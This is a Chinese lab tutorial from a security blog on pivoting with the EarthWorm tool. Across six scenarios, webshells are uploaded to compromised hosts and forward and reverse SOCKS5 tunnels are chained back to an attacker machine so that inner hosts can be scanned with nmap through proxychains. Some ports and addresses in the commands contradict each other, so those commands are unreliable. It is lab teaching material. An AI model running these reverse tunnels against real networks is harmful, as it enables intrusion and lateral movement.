前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安全攻防 | 网络代理之EarthWorm

安全攻防 | 网络代理之EarthWorm

作者头像
安全小王子
发布2021-03-16 16:35:56
3.2K0
发布2021-03-16 16:35:56
举报
文章被收录于专栏:betasec

EW(Earthworm)是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

下载地址:https://github.com/idlefire/ew

官方网站:http://rootkiter.com/EarthWorm/

EW的指令信息如下所示:

代码语言:javascript
复制
-s   选择功能类型:  共包含6种功能:            ssocksd:正向代理             rcsocks:反向代理1,流量转发             rssocks:反向代理2,反弹socks5             lcx_listen:反向代理1,流量转发             lcx_tran:端口转发             lcx_slave:端口绑定   -l    指定要监听的本地端口    -d   指定要反弹到的机器 ip   -e   指定要反弹到的机器端口   -f    指定要主动连接的机器 ip   -g   指定要主动连接的机器端口   -t    指定超时时长,默认为1000

接下来将带领大家介绍在不同网络环境下EW工具的使用方式:

案例1、正向代理功能

如图所示:

Hack IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131

攻击方式:

攻击者(Hack) 首先攻击Host1服务器,并获取shell权限,然后将Host1服务器当作跳板,进而发起对Host2主机的进攻;

(1)网络文件上传,恶意文件;

(2)蚁剑远程连接,查看Host1系统为windows系统,上传ew_win32.exe可执行程序文件;

(3)在Host1主机上启动socks5服务并监听1080端口;

代码语言:javascript
复制
./ew -s ssocksd -l 9999  //在9999端口上开启socks代理,ssocksd提供正向代理功能

(4) 修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf

代码语言:javascript
复制
[ProxyList] # add proxy here ... socks5  192.168.1.128 9999

(5) 通过代理,利用nmap扫描工具对Host2主机进行端口扫描;

案例2、反向代理功能

如图所示:

Hack IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131

攻击方式:

(1) 由于场景中目标机Host1没有公网IP,但是能访问公网。因为V1没有具体地址,无法使用正向连接,可使用反弹连接的方式代理流量。 在攻击机Hack本地启动流量转发,将来自外部1080端口的流量转发到本地8888端口,并等待目标反弹连接:

代码语言:javascript
复制
./ew -s rcsocks -l 1080 -e 9999  //将1080端口收到的代理请求转发给反连9999端口的主机

(2) 在目标机Host1上启动socks5服务,并反弹到攻击机Hack的9999端口:

代码语言:javascript
复制
./ew -s rssocks -d 192.168.1.130 -e 9999  //内网跳板反弹连接到攻击机的8888端口

(3)修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf

代码语言:javascript
复制
[ProxyList] # add proxy here ... socks5  192.168.1.130 1080

(4) 通过代理,利用nmap扫描工具对Host2主机进行端口扫描;

代码语言:javascript
复制
proxychains nmap -Pn -sT 192.16.2.131 -p80,22

案例3、二级正向代理功能

如图所示:

Hack IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131、NET2 10.10.3.130

攻击方式:

(1) 在Host1主机上启动socks5服务并监听1080端口;

(2) 修改proxychains配置文件,kali系统默认文件路径为

/etc/proxychains.conf;

代码语言:javascript
复制
./ew -s ssocksd -l 1080

代码语言:javascript
复制
[ProxyList] # add proxy here ... socks5  192.168.1.128 1080

(2)通过proxychains执行firefox 并访问网站,进行恶意文件上传;

(3)在蚁剑中添加代理,并进行远程连接;

(4)查看,此时获得的主机为linux系统,并在该主机(Host2)上启动socks5代理并监听9999端口:

(5) 在Host1主机上进行流量转发,Host1监听1082端口,并反向连接Host2主机,将Host1的1082端口与Host2主机的9999端口进行绑定;

(6)修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf;

代码语言:javascript
复制
[ProxyList] # add proxy here ... socks5  192.168.1.128 1082

(7) 通过代理,利用nmap扫描工具对Host3主机进行端口扫描;

案例4、二级反向代理功能

如图所示:

Hack IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131、NET2 10.10.3.130

(1) 在攻击机Hack本地启动流量转发,将来自外部1080端口的流量转发到本地8888端口,并等待目标反弹连接:

代码语言:javascript
复制
./ew -s lcx_listen -l 1080 -e 8888

(2) 在经过一系列操作以后,获取Host1 shell权限,在Host1主机上执行socks反弹到Hack主机的监听端口8888:

代码语言:javascript
复制
./ew -s rssocks -d 192.168.1.130 -e 8888 //内网跳板反弹连接到攻击机的8888端口

(3)修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf;

代码语言:javascript
复制
[ProxyList] # add proxy here ... socks5  192.168.1.130 1080

(4) 通过代理,利用nmap扫描工具对Host2主机进行端口扫描;

(5) 通过代理,访问Host2主机的web服务,并进行恶意文件上传;

(5) 蚁剑中设置代理;

(6) 在Host2主机开启socks5 服务,并监听9999端口;

代码语言:javascript
复制
./ew -s ssocksd -l 9999

(7) 在Hack主机,将来自外部1081端口的流量转发到本地7777端口,并等待目标反弹连接;

代码语言:javascript
复制
./ew -s lcx_listen -l 1081 -e 7777

(8) 在Host1主机,将Hack的7777端口与Host2的9999端口绑定,建立socks5通道;

代码语言:javascript
复制
ew.exe -s lcx_slave -d 192.168.1.130 -e 7777 -f 192.16.2.131 -g 99

(8) 修改proxychains.conf 为192.168.1.130 8081端口,通过代理,利用nmap扫描工具对Host2主机进行端口扫描;

案例5、三级正向代理功能

假设目标机Host1有公网IP(139.x.x.x),可以使用正向的方式代理流量。 在Host2上启动流量转发,将Host1的1080端口与V2的9999端口绑定,建立socks5通道:

代码语言:javascript
复制
./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999

在Host2上启动流量转发,将Host2的9999 端口与V3的8888端口绑定,建立socks5通道:

代码语言:javascript
复制
./ew -s lcx_tran - l 9999 -f 10.10.3.111 -g 8888

在目标机Host3上启动socks5代理并监听8888端口:

代码语言:javascript
复制
./ew -s ssocksd -l 8888

方式不止一种:通过场景二中反向代理的方式,从V1→V3架设也能实现。 接着流量代理到139.x.x.x的1080端口,就相当于把流量代理到目标机V3上了。 A1上proxychains代理配置:

代码语言:javascript
复制
[ProxyList]socks5    139.x.x.x    1080

案例6、 三级反向代理功能

在攻击机Hack执行,本地启动流量转发,将来自外部1080端口的流量转发到本地的8888端口,并等待目标反弹连接:

代码语言:javascript
复制
./ew -s rcsocks -l 1080 -e 8888

在Host1执行,将Hack的8888端口与V2的9999端口绑定,建立socks5通道:

代码语言:javascript
复制
./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999

在Host2执行,本地启动流量转发,将来自外部9999端口的流量转发到本地的7777端口,等待目标机Host3反弹连接:

代码语言:javascript
复制
./ew -s lcx_listen -l 9999 -e 7777

在目标机Host3执行,启动socks5服务,并反弹到Host2的7777端口:

代码语言:javascript
复制
./ew -s rssocks -d 10.10.2.111-e 7777

代理通道架设完毕,访问Hack的1080相当于访问Host3的7777端口,在攻击机Hack上使用proxychain将流量代理到本地1080端口,相当于把流量代理到目标机Host3上了,在A1上发起请求相当于在Host3上发起请求。 Hack上proxychains代理配置:

代码语言:javascript
复制
[ProxyList]socks5    127.0.0.1    1080

最后在Host1执行,将Hack的8888端口与Host2的9999端口绑定,建立socks5通道。

- 往期推荐 -

安全攻防 | reGeorg+Proxifier代理工具

安全攻防 | CobaltStrike代理工具

安全攻防 | Metasploit代理工具

【推荐书籍】

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
弹性公网 IP
弹性公网 IP(Elastic IP,EIP)是可以独立购买和持有,且在某个地域下固定不变的公网 IP 地址,可以与 CVM、NAT 网关、弹性网卡和高可用虚拟 IP 等云资源绑定,提供访问公网和被公网访问能力;还可与云资源的生命周期解耦合,单独进行操作;同时提供多种计费模式,您可以根据业务特点灵活选择,以降低公网成本。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档